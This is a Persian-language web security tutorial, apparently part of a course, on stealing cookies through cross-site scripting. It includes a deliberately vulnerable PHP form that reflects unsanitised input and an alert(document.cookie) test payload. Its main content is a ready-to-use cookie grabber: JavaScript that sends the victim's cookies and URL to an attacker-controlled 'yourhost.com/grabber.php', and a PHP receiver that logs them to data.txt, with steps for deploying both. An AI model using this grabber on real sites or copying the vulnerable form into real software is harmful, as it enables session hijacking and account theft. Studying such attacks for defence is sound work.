توی این مطلب میخواهیم چگونگی دزدیدن کوکی ها توسط نفوذگران در حملات Cross Site Scripting را بررسی کنیم.
توی قسمت هشتم از دوره آموزشی امنیت وب نکاتی را درباره چگونگی شکل گیری حملات Cross Site Scripting را با هم دیگه بررسی کردیم.
توی اون ویدئو ، مشاهده کردید که پس از ساخت کوکی توسط برنامه ما با استفاده از اسکریپت نویسی جاوا اسکریپت میتوانیم کوکی ها را مشاهده کنیم.
نفوذگران به دنبال به دست اوردن کوکی ها هستند پس باید بتوانند به شکلی آن ها رو به جایی ارسال کنند. معمولا این نوع از حملات که به دنبال کوکی ها هستند را در XSS نوع persistent یا stored xss بیشتر مشاهده میکنیم .
به کد زیر دقت کنید:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
<?php // some code if(isset($_GET['submit'])){ /* Set Cookie */ setcookie('username',$_GET['username']); echo 'welcome' . $_COOKIE['username']; } ?> <html> <head><title>PentesterSchool.IR</title></head> <body> <form action = "" method = "GET"> Enter Your Username:<input type = "text" name = "username" /> <input type = "submit" name = "submit" value = "Login" /> </form> </body> </html> |
توجه داشته باشید که کد بالا فقط مثالی برای درک اتفاقی که روی میدهد هست و ممکن هست از این سبک کد نویسی جایی استفاده نشود.
وقتی کاربر Login میشود تا زمانی که این کوکی ها حذف نشده باشند ( قبل از Logout ) یا تاریخ انقضای آن نگذشته باشد . چنانچه فردی به این کوکی ها دسترسی داشته باشد میتواند بدون داشتن Username و فقط با داشتن کوکی ها وارد مرحله بعد شود.
در واقع مثالی که در بالا زده شد مثالی ساده بود و اگر ابزار DVWA را که در این آموزش به آن پرداختیم نصب کرده باشید میتوانید با استفاده از آسیب پذیری XSS عملیات ورود به اسکریپت را دور بزنید و وارد صفحه و پنل مدیریت شوید ! ( در قسمت نهم از مجموعه امنیت وب این مثال زده خواهد شد )
حال همانطور که در جلسه هشتم دوره رایگان امنیت وب گفتیم میتوانیم به آسانی با جاوا اسکریپت به این کوکی دسترسی داشته باشیم :
1 2 3 |
<script> alert(document.cookie) </script> |
حال اگر کد بالا را در درون فیلد username وارد کنید میبینید که به شما هشداری که در اون هشدار کوکی شما هست را میدهد.
نفوذگران همانطوری که گفتیم به هشدار راضی نیستند پس به دنبال راهی برای ارسال این کوکی ها به خودشان هستند.

چگونگی ارسال کوکی ها به نفوذگر
اصطلاحی تحت عنوان Cookie Grabber یا به دست آورنده کوکی وجود دارد که اسکریپت های بسیار ساده ای هستند که کوکی های کاربر را به نفوذگر ارسال میکنند.
برای مثال در این مطلب من یکی از این اسکریپت ها را میاورم :
قسمت جاوا اسکریپت :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
var HttPRequest = false; try { HttPRequest = new ActiveXObject("MSXML2.XMLHTTP"); } catch (exception1) { try { HttPRequest = new ActiveXObject("Microsoft.XMLHTTP"); } catch (exception2) { HttPRequest = false; } } if (!HttPRequest && window.XMLHttpRequest) { HttPRequest = new XMLHttpRequest(); } function getData() { if (!HttPRequest) { alert('Cannot create XMLHTTP instance'); return false; } var xlocation=window.location.host; var xpathname=window.location.pathname; var xhref=window.location.href; var xcookie=document.cookie; var url = 'http://yourhost.com/grabber.php'; //be jaye address bala address makane upload shode ghesmate php ra benevisid var pmeters='xlocation='+xlocation+'&xpathname='+xpathname+'&xhref='+xhref+'&xcookie='+xcookie; HttPRequest.open('POST',url,true); HttPRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); HttPRequest.setRequestHeader("Content-length", pmeters.length); HttPRequest.setRequestHeader("Connection", "close"); HttPRequest.send(pmeters); HttPRequest.onreadystatechange = function(){ } } getData(); |
قسمت قرار گرفته روی سرور به منظور ذخیره :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
<?php $new_contents=' '. 'time: '.date('r').' ' .'location: '.$_REQUEST['xlocation'].' ' .'pathname: '.$_REQUEST['xpathname'].' ' .'href: '.$_REQUEST['xhref'].' ' .'cookie: '.$_REQUEST['xcookie'].' '; $file = "data.txt"; $fh = fopen($file,'r+'); $contents = fread($fh,filesize($file)); $contents=$new_contents.$contents; fclose($fh); $fh = fopen($file, 'r+'); fwrite($fh,$contents); fclose($fh); ?> |
ابزاری که در بالا استفاده کردیم یکی از شکل های دزدیده شدن کوکی هست و راه های گوناگون برای دزیدن کوکی وجود دارد.
برای استفاده از ابزار در قسمت آسیب پذیری اسکریپت جاوا اسکریپت را load میکنید و سپس در درون مکانی که فایل php را آپلود کردید کوکی ها تحت عنوان فایل data.txt ذخیره خواهند شد.
نظرات اخیر
خیر. مشکلی نداره.
توی ویدیو توضیح داده شده.
سلام هادی جان وارد پوشه run شوید و فایل اجرایی رو اجرا کنید.
سلام باتشکر از مطالب خوبتون من یکی از دنبال کنندگان دو آتیشه سایتتون هستم ...
منظورتون از ترجمه چیست؟